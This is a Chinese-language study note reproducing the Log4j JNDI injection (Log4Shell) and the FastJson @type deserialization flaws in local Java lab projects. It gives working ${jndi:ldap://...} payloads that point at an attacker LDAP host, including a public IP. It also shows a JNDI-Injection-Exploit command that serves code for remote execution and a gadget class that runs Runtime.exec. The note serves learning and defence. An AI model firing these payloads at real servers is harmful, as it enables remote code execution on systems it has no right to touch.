目录
Java-项目管理-工具配置
Java-三方组件-Log4J&JNDI
Java-三方组件-FastJson&反射
思维导图
Java知识点:
功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.
框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等
技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充
安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充
安全:原生开发安全,第三方框架安全,第三方库安全等,待补充
Java-项目管理-工具配置
Jar 仓库:https://mvnrepository.com/
Maven配置:
https://www.jb51.net/article/259780.htm
JNDI:
Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。
JNDI注入:原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。
经典的JNDI注入漏洞:
Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。
上下文注入:
- 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
- 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}
FastJson JNDI 注入漏洞(JSON )
- FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
- 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
- 远程代码执行:由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。
Java-三方组件-Log4J&JNDI
Log4J :Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。
Log4j-组件安全复现
1、Maven引用Log4j
2、接受用户输入值
3、Log4j处理错误输入
4、利用jndi-ldap执行
Test:
String code="test";
String code="${java:os}";
logger.error("{}",code);
String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
服务器:
java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx
Log4j-组件安全复现
- 创建Maven并命名为Log4jDemo
- 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
- 并刷新Maven则导入成功
- 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
- Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
- 在 Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。
创建一个新的空项目 Log4jDemo,配置如下图
Maven 引用 Log4j
- 在 pom.xml 文件中添加引用
- 引用代码是那个 Jar 仓库搜索到之后复制 Maven 的代码
- 这里引用的是 2.14.1 版本的
<dependencies> <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core --> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.14.1</version> </dependency>
引用后左侧就会变成下图所示
创建 Log4jTest.java,编写代码并运行
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; public class Log4jTest { // 使用Log4j 实现错误日志输出 private static final Logger logger = LogManager.getLogger(Log4jTest.class); public static void main(String[] args) { // 如果code变量是可控的 // String code = "${java:os}"; String code = "${java:vm}"; logger.error("{}",code); } }
发现 Log4j 将其当成了命令执行。
在网站中测试 Log4j
创建一个 web 应用程序新项目,配置如下
如上同样需要在 pom.xml 文件中添加 Log4j 引用
创建 Log4jServlet.java
package com.example.log4jwebdemo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import javax.servlet.ServletException; import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; @WebServlet("/log4j") public class Log4jServlet extends HttpServlet { // 构造http web服务 使用带漏洞的Log4j版本 实现功能 private static final Logger log = LogManager.getLogger(Log4jServlet.class); @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String code = req.getParameter("code"); // code = ${java:os} 想输出执行结果 需要加$ 不然会不执行 // ${jndi:ldap://192.168.85.128:1389/qqbmx0} // ldap://192.168.85.128:1389/qqbmx0 是用工具生成的远程可访问的调用方法 // 什么方法 -C "calc" 执行计算器的方法 (JNDI注入工具生成的) log.error("{}",code); } }
运行 tomcat 服务器,访问 url 路由,添加 code 参数,最终构造 url 如下
http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${java:os}
tomcat 服务器的输出日志有如下类似输出
16:29:24.346 [http-nio-8080-exec-9] ERROR com.example.log4jwebdemo.Log4jServlet - Windows 10 10.0, architecture: amd64-64
利用 Jndi-ldap 执行命令
使用 JNDI 注入工具生成远程可访问的调用方法 (这里用的是 JNDIExploit)
也就是 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用命令如下java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "notepad" -A 192.168.85.128 要执行的命令 服务器ip
复制生成的链接,构造 payload 如下,令 url 中 code 等于下值然后访问,即可成功执行命令。
${jndi:ldap://192.168.85.128:1389/hy5qgm}
Java-三方组件-FastJson&反射
FastJson :在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。
Fastjson-组件安全复现
1、Maven引用Fastjson
2、创建需转换类对象User
3、使用Fastjson进行数据转换
4、数据转换(对象转Json,Json转对象)
-对象转Json(带类型)
JSONObject.toJSONString(u)
JSONObject.toJSONString(u,SerializerFeature.WriteClassName)
-Json转对象
JSON.parseObject(exp)
Test:
Runtime.getRuntime().exec("calc");
服务器:
https://blog.csdn.net/guo15890025019/article/details/120532891
Fastjson-组件安全复现
Maven引用Fastjson
User.java
package com.suyou; // 给fastjson数据转换测试用的 public class User { private String name; private Integer age; public Integer getAge() { return age; } public String getName() { return name; } public void setAge(Integer age) { this.age = age; System.out.println(age); } public void setName(String name) { this.name = name; System.out.println(name); } }
FastjsonTest.java
package com.suyou; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.serializer.SerializerFeature; // 使用Fastjson去除了User类数据 public class FastjsonTest { public static void main(String[] args) { // u Object对象 // Integer age String name 数据 User u = new User(); u.setAge(20); u.setName("SuYou"); // System.out.println(u); // 把数据转换为Json格式数据,不想用自带的API(太麻烦) // 所以使用Fastjson来进行数据转换 // 将json对象转化为json数据 String jsonString = JSONObject.toJSONString(u); System.out.println("这就是json格式:"+jsonString); // 分析漏洞利用 多输出 转换数据类型 其实前面有一个@type转换对象类包 String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName); System.out.println("这就是json格式:"+jsonString1); // 上面是 对象 -> JSON // 下面是 JSON -> 对象 // String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}"; String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}"; // 实战中com.suyou.Run 我们不知道 所以一般固定调用java自带的一些包 // rmi ldap 去触发远程的class 执行代码(RCE) JSONObject jsonObject = JSON.parseObject(test); System.out.println(jsonObject); } }
Run.java
package com.suyou; import java.io.IOException; public class Run { public Run() throws IOException { Runtime.getRuntime().exec("calc"); } }
运行 FastjsonTest.java,会进行序列化和反序列化过程,会将 User 对象序列化转换为 Json,后面会将 Json 反序列化转换回对象,此时,我们发现在反序列化转换回对象时,可以显示对象包名,我们可以通过修改包名来改变反序列化回的对象。
String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}"; String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";
如上面两个 json,第二个将原本的 User 换为了我们自己写的 Run 对象,而 Run 对象中被我们写入了恶意代码,后续过程将 test 进行了反序列化操作,将 json 反序列化为对象时构造了 Run 对象,执行了其中构造函数的恶意代码,弹出了计算器。
但是在实战过程中,我们不知道 comsuyoo.RUn ,我们无法确定人家哪个包可以用,所以一般固定调用 java 自带的一些包,很多复现都能看到,然后使用 rmi ldap 去触发远程的 class 执行代码(RCE)
Fastjson 漏洞复现:Fastjson漏洞复现_fastjson 1.2.84-CSDN博客